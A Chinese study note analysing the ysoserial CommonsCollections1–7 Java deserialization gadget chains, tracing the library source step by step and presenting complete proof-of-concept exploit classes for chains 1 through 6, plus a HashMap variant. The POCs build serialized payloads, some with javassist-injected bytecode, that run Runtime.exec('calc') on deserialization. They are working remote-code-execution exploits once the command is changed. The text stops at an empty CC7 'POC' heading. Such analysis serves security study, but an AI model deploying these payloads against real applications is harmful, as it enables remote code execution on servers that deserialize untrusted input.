整理了一下之前的笔记,文中不对一些前置知识进行科普,如javassist
、动态代理等,如果不了解的同学可以自行百度哈。
ysoserial给出调用栈如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
我们先从最底下调用Runtime.exec
的地方开始,跟进org.apache.commons.collections.functors.InvokerTransformer#transform
,可以看到有反射的调用,所以我们需要寻找对此方法调用的地方
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
跟进org.apache.commons.collections.functors.ChainedTransformer#transform
此处的iTransformers
我们可以在ChainedTransformer
实例化的时候传进去,进而可以达到调用org.apache.commons.collections.functors.InvokerTransformer#transform
的目的
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
//省略部分代码
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
跟进org.apache.commons.collections.map.LazyMap#get
,此处的this.factory
我们可以通过org.apache.commons.collections.map.LazyMap#decorate
将我们的org.apache.commons.collections.functors.ChainedTransformer
的实例传进去
protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Factory factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = FactoryTransformer.getInstance(factory); } } //省略部分代码 public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
所以我们怎么样才能调用org.apache.commons.collections.map.LazyMap#get
呢,看到ysoserial
给调用栈,跟进sun.reflect.annotation.AnnotationInvocationHandler#invoke
,可以看到此处的memberValues
为一个Map,且invoke
方法中有this.memberValues.get(var4)
,也就是说我们可以通过invoke
调用到org.apache.commons.collections.map.LazyMap#get
private final Map<String, Object> memberValues; public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { //省略部分代码 switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }
怎么样才能触发invoke方法呢,回到最初触发反序列化的地方sun.reflect.annotation.AnnotationInvocationHandler#readObject
,可以看到this.memberValues.entrySet().iterator()
,如果此处的this.memberValues
是通过动态代理构建的,那么当this.memberValues
进行方法调用时是使用代理类的invoke方法进行调用的,并且sun.reflect.annotation.AnnotationInvocationHandler#readObject
实现InvocationHandler
接口,所以整个攻击链就行形成了(不得不佩服作者的Java功底Orz)
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); //省略部分代码 }
最终POC如下:
package CommonsCollections; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CommonsCollections1 { public static void main(String[] args) throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out"))); objectOutputStream.writeObject(object); ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("test.out")); objectInputStream.readObject(); } }
ysoserial
的给出的调用链如下:
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
跟进java.util.PriorityQueue#readObject
,可以看到将对象读取之后,会调用java.util.PriorityQueue#heapify
对堆进行调整,在heapify
处打一个断点对ysoserial
进行调试
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
跟进java.util.PriorityQueue#heapify
,其中queue
数组为我们传入的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的实例
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
跟进java.util.PriorityQueue#siftDown
,如果comparator
不为空则使用自定义的comparator
对元素进行筛选
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
跟进java.util.PriorityQueue#siftDownUsingComparator
,可以看到这里使用了comparator.compare
进行比较,此处的comparator.compare
为org.apache.commons.collections4.comparators.TransformingComparator#compare
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
跟进org.apache.commons.collections4.comparators.TransformingComparator#compare
,可以看到此处又是对this.transformer.transform
调用
private final Transformer<? super I, ? extends O> transformer; public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
然后这里是通过InvokerTransformer.transform
调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
。
public O transform(Object input) { if (input == null) { return null; } else { try { Class<?> cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } }
跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的newTransformer
方法,此处的getTransletInstance
会获取我们传入的字节码的实例
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
,此处的_class
为空,会进入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
对_class
进行一个赋值
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
跟进defineTransletClasses
,可以看到循环那里将_bytecodes(也就是我们构造的恶意字节码)
通过Classloader
加载之后传给_class
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { //省略部分代码 for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); //通过loader将字节码动态构建类到_class中 final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } //省略部分代码 } //省略部分代码 }
然后回到getTransletInstance
中AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()
此处对我们恶意字节码中的类进行了实例化,进而触发了RCE。
POC如下:
package CommonsCollections; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class CommonsCollections2 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test"); InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator=new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue"); field3.setAccessible(true); field3.set(queue,new Object[]{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
Commons Collections3
算是Commons Collections1
和Commons Collections2
两个攻击链的结合吧,理解了1和2这个应该不难理解
2中是通过InvokerTransformer
去触发com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的newTransformer
方法,而3是通过InstantiateTransformer
实例化com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
触发构造方法进而触发com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的newTransformer
方法
跟进InstantiateTransformer
的transform
方法,可以看到con.newInstance(this.iArgs)
,对con
进行了一个实例化,也就是此处会对com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
进行一个实例化
public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException", var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9); } }
跟进com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
构造方法,可以看到此处_transformer = (TransformerImpl) templates.newTransformer()
触发了TransformerImpl
的newTransformer
方法,
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
然后触发InstantiateTransformer
的transform
方法和1一样也是通过动态代理的,这里就不多赘述了
POC如下:
package CommonsCollections; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CommonsCollections3 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test"); InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(object); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
利用链和2一样,只不过是把 InvokerTransformer
换成了InstantiateTransformer
package CommonsCollections; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.Transformer; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class CommonsCollections4 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test"); InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); TransformingComparator comparator=new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue"); field3.setAccessible(true); field3.set(queue,new Object[]{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
ysoserial
中给出的调用栈如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
跟进javax.management.BadAttributeValueExpException#readObject
,此处Object valObj = gf.get("val", null);
之后,valObj
就是我们传入org.apache.commons.collections.keyvalue.TiedMapEntry
的实例,不过需要System.getSecurityManager() == null
,幸运的是,默认情况下,SecurityManager
是关闭的。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
此处是org.apache.commons.collections.keyvalue.TiedMapEntry#toString
到org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
,然后又是LazyMap.get
private final Map map; public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }
之后又是一样的操作了,最终POC如下:
package CommonsCollections; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.*; import java.util.Map; public class CommonsCollections5 { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test"); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null); Field field=badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,tiedMapEntry); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out"))); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out")); objectInputStream.readObject(); } }
需要注意的这里不能在BadAttributeValueExpException
实例化的时候传入entry
,而是通过反射赋值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, entry);
因为如果是在实例化的时候传入entry
,此时this.val = val.toString()
就是一串字符串
public String toString() { return "BadAttributeValueException: " + val; } public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
CommonsCollections6
和5差不多,ysoserial
中给出调用链如下:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
CommonsCollections6
和CommonsCollections5
不同的是,6是将BadAttributeValueExpException
换成了HashSet
。
跟进java.util.HashSet#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { //省略部分代码 // Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
跟进java.util.HashMap#put
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
跟进java.util.HashMap#hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
跟进org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
跟进org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
,可以看到这里又调用了我们熟悉的LazyMap.get
public Object getValue() { return this.map.get(this.key); }
POC如下:
package CommonsCollections; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class CommonsCollections6 { public static void main(String[] args) throws Exception { Transformer Testtransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,Testtransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1"); HashSet hashSet=new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1"); //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令 Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(Testtransformer, transformers); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out")); objectOutputStream.writeObject(hashSet); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out")); objectInputStream.readObject(); } }
另外还有一种利用方法是,在java.util.HashMap#readObject
中直接调用hash
,直接省去了前面HashSet
调用的前几步,也就是说我们可以直接用HashMap
即可,并不需要HashSet
。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
//省略部分
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
HashMap
的POC是将
HashSet hashSet=new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1");
替换为:
HashMap hashMap=new HashMap(); hashMap.put(tiedMapEntry,"test2"); lazyMap.remove("test1");
ysoserial给出的调用栈如下:
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
跟进java.util.Hashtable#readObject
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { //省略部分代码 // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // sync is eliminated for performance reconstitutionPut(table, key, value); } }
跟进java.util.Hashtable#reconstitutionPut
,此处put的时候通过hashCode
和equals
判断是否存在hash冲突
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
跟进org.apache.commons.collections.map.AbstractMapDecorator#equals
public boolean equals(Object object) { return object == this ? true : this.map.equals(object); }
跟进java.util.AbstractMap#equals
,可以看到此处又是LazyMap.get
,之后又是一样的操作了
public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; }
POC如下:
